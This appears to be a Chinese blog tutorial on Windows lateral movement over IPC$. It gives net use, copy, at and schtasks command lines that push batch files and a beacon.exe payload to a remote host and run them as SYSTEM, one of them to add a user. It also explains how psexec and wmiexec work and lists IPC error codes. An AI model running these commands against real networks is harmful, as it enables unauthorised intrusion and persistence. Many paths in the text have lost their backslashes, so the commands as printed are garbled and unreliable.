zoukankan      html  css  js  c++  java
  • 横向移动利用

    一.IPC作用

    利用IPC$,连接者甚至可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息

    二.ipc$的利用条件

    1.139,445端口开启。

     ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.

    2. 管理员开启了默认共享。

     默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问。

    三.建立IPC连接、copy文件、创建计划任务  

    1.net use \目标IPipc$ "密码" /user:"administrator"

    2.copy c:1.bat \192.168.75.128C$

    3.net time \目标IP

    4.at \192.168.75.128 15:08 c:1.bat

     

    四.schtasks创建计划任务

    schtasks /create /tn foo1 /tr C:Windowsapppatchwindows.exe /sc once /st 05:25 /S 18.217.*.* /RU System

    schtasks /create /s 192.168.1.2 /u administrator/p Passw0rd! /ru "SYSTEM" /tn adduser /sc DAILY /tr c:wmpubadd.bat/F
     
    远程执行:schtasks /create /s 192.168.1.2 /u administrator/p Passw0rd! /ru "SYSTEM" /tn adduser /sc DAILY /tr \192.168.1.2c$windowseacon.exe
     
    schtasks /run /s 192.168.1.2 /u administrator /pPassw0rd! /tn adduser /i
     
    schtasks /delete /s 192.168.1.2 /u administrator/p Passw0rd! /tn adduser /f

    ​ 第一条命令是创建计划任务,/s指定远程机器名或ip地址,/ru指定运行任务的用户权限,这里指定为最高的SYSTEM,/tn是任务名称,/sc是任务运行频率,这里指定为每天运行,并没什么实际意义,/tr指定运行的文件,/F表示如果指定的任务已经存在,则强制创建任务并抑制警告。
    ​ 第二条命令表示运行任务,其中/i表示立即运行,这就是schtasks比at好用的关键点,不需要和时间挂钩,可以立即执行任务。

    五.IPC连接常见错误

    错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;

    错误号51,Windows 无法找到网络路径 : 网络有问题;

    错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);

    错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。

    错误号1326,未知的用户名或错误密码 : 原因很明显了;

    错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)

    错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。

    六.执行依靠所需条件

    1、默认admin$共享关闭,无法使用psexec

    2、Task scheduler关闭,无法使用at、schtasks

    3、Windows Management Instrumentation服务关闭,关闭135端口无法使用wmic、wmiexec

    7.PSEXEC执行原理

    通过ipc$连接,然后释放psexesvc.exe到目标机器。

    通过服务管理SCManager远程创建psexecsvc服务,并启动服务。

    客户端连接执行命令,服务端启动相应的程序并执行回显数据。

    8.Wmiexec.vbs执行原理

    Wmiexec.vbs整个执行过程是“当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹。最后,通过FSO组件访问远程共享文件夹(需要用到445端口)中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享”。

    参考:

    https://www.4hou.com/technology/11794.html

    https://xz.aliyun.com/t/237

    https://blog.csdn.net/h4ck0ne/article/details/50570747

    http://twi1ight.com/2016/04/basics-of-active-directory-hacking/

  • 相关阅读:
    ASCII,Unicode 和 UTF-8
    ASCII,Unicode 和 UTF-8
    043_JVM——JVM是什么鬼啊?他与操作系统是什么关系?
    042_杂谈——编程语言的发展
    042_线程——我们写的代码,为什么我从来没有线程呢?
    041_ssm——/与/*与*.do的区别?
    040_HTTP——为什么会有get与post两种请求?
    039_Servlet——SpringMVC中怎么不见Servlet呢?我们写的Controller都是普通类,Servlet藏到了那里?
    038_JVM——怎么查看对象的内存大小?
    037_JVM——java中的类加载器是怎么运行的?
  • 原文地址:https://www.cnblogs.com/websecyw/p/11238189.html
Copyright © 2011-2022 走看看